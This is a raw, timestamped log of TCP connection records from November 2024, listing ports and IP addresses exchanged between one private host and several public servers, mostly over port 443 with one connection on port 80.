Nov 17, 2024 01:38:33.632556915 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.632556915 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.632570028 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.632577896 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.635248899 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.635298014 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.635400057 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.635580063 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.635608912 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.700989962 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.701766014 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.701806068 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.702404022 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.702414989 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.832978010 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.833055019 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.833261013 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.833395958 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.833396912 CET	49832	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.833441973 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.833477974 CET	443	49832	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.836323023 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.836337090 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.836405039 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.836541891 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.836555958 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.895070076 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.895592928 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.895613909 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.896250963 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:33.896256924 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:33.896339893 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:33.896400928 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:33.897969961 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:33.897974014 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:33.898283005 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:33.952018976 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:33.961576939 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:34.007328033 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:34.018085003 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.018563986 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.018585920 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.019013882 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.019018888 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.024570942 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.024661064 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.024707079 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.024821997 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.024832964 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.024841070 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.024844885 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.027553082 CET	49845	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.027565956 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.027626038 CET	49845	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.027749062 CET	49845	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.027760983 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.088306904 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.088408947 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.088504076 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.088689089 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.088726997 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.154506922 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.154580116 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.154633045 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.154640913 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.154700041 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.154747963 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.154874086 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.154879093 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.154886961 CET	49838	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.154891014 CET	443	49838	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.157711983 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.157721043 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.157784939 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.157962084 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.157984018 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.167845011 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.168211937 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.168226957 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.168910980 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.168915987 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.205082893 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:34.205224037 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:34.205249071 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:34.205260038 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:34.205267906 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:34.205271006 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:34.205281973 CET	49833	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:34.205285072 CET	443	49833	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:34.239505053 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:34.239535093 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:34.239605904 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:34.239857912 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:34.239895105 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:34.301331997 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.301399946 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.301453114 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.309779882 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.309792042 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.309803009 CET	49839	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.309807062 CET	443	49839	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.314237118 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.314276934 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.314347982 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.314491034 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.314515114 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.367564917 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.367989063 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.368040085 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.368438959 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.368458033 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.510162115 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.510229111 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.510283947 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.510346889 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.510380983 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.510423899 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.510467052 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.510500908 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.510525942 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.510540962 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.513933897 CET	49851	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.513945103 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.513989925 CET	49851	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.514209986 CET	49851	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.514223099 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.558384895 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.558774948 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.558789968 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.559432983 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.559439898 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.687169075 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.687342882 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.687484026 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.687568903 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.687577963 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.690434933 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.690463066 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.690545082 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.690695047 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.690723896 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.768656969 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.769491911 CET	49845	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.769505978 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.770062923 CET	49845	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.770067930 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.886706114 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.887171984 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.887182951 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.887700081 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.887706041 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.899931908 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.900002003 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.900052071 CET	49845	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.900223970 CET	49845	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.900235891 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.900264978 CET	49845	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.900271893 CET	443	49845	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.904506922 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.904555082 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.904685974 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.904787064 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:34.904825926 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:34.949609995 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.949827909 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.949846029 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.950259924 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.950321913 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.950977087 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.951021910 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.951926947 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.951987028 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.952085972 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.952094078 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.952126980 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:34.995408058 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:34.999146938 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:35.014790058 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.014971018 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.015014887 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.015192986 CET	49847	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.015202999 CET	443	49847	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.017875910 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.017920017 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.018060923 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.018342972 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.018373013 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.044976950 CET	80	49842	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:35.045032024 CET	49842	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:35.051278114 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.051778078 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.051810980 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.052309036 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.052315950 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.089716911 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:35.089792013 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:35.101171017 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:35.101221085 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:35.101557970 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:35.102842093 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:35.143333912 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:35.181422949 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.181576967 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.181636095 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.181634903 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.181695938 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.181979895 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.181981087 CET	49850	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.182004929 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.182029009 CET	443	49850	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.192647934 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.192660093 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.192761898 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.193444014 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.193466902 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.209829092 CET	49842	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:35.212105989 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:35.214675903 CET	80	49842	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:35.263539076 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.264022112 CET	49851	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.264038086 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.264552116 CET	49851	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.264556885 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.264780045 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:35.264816999 CET	443	49846	172.217.18.14	192.168.2.6
Nov 17, 2024 01:38:35.287095070 CET	49846	443	192.168.2.6	172.217.18.14
Nov 17, 2024 01:38:35.287138939 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:35.346687078 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:35.346838951 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:35.347023964 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:35.347542048 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:35.347551107 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:35.347559929 CET	49849	443	192.168.2.6	184.28.90.27
Nov 17, 2024 01:38:35.347563982 CET	443	49849	184.28.90.27	192.168.2.6
Nov 17, 2024 01:38:35.397043943 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.397173882 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.397232056 CET	49851	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.397344112 CET	49851	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.397356033 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.397365093 CET	49851	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.397371054 CET	443	49851	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.400480032 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.400507927 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.400613070 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.400835037 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.400849104 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.432394981 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.432961941 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.433023930 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.433481932 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.433497906 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.562153101 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.562306881 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.562417030 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.562469006 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.562479973 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.562514067 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.562517881 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.565042973 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.565057039 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.565200090 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.565332890 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.565344095 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.645373106 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.646022081 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.646044016 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.646481037 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.646488905 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.746011972 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.746471882 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.746493101 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.746941090 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.746949911 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.813730955 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.813822031 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.813905954 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.814110041 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.814110041 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.814133883 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.814147949 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.817085981 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.817114115 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.817339897 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.817552090 CET	49858	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.817565918 CET	443	49858	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.890100002 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.890132904 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.890183926 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.890208960 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.890274048 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.890429020 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.890429020 CET	49854	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.890470028 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.890496969 CET	443	49854	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.892945051 CET	49859	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.892988920 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.893089056 CET	49859	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.893240929 CET	49859	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.893274069 CET	443	49859	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.921998024 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.925322056 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.925340891 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.925740004 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:35.925751925 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:35.980645895 CET	80	49842	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:35.980735064 CET	49842	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:36.057799101 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.057884932 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.057960987 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.058198929 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.058198929 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.058232069 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.058243036 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.060738087 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.060762882 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.060904980 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.061121941 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.061129093 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.132307053 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.132975101 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.132992029 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.133456945 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.133461952 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.263592005 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.263767958 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.263962030 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.264035940 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.264035940 CET	49856	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.264044046 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.264064074 CET	443	49856	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.266635895 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.266644955 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.266858101 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.267147064 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.267158031 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.337008953 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.354901075 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.354932070 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:36.355345964 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:36.355376005 CET	443	49857	13.107.246.45	192.168.2.6
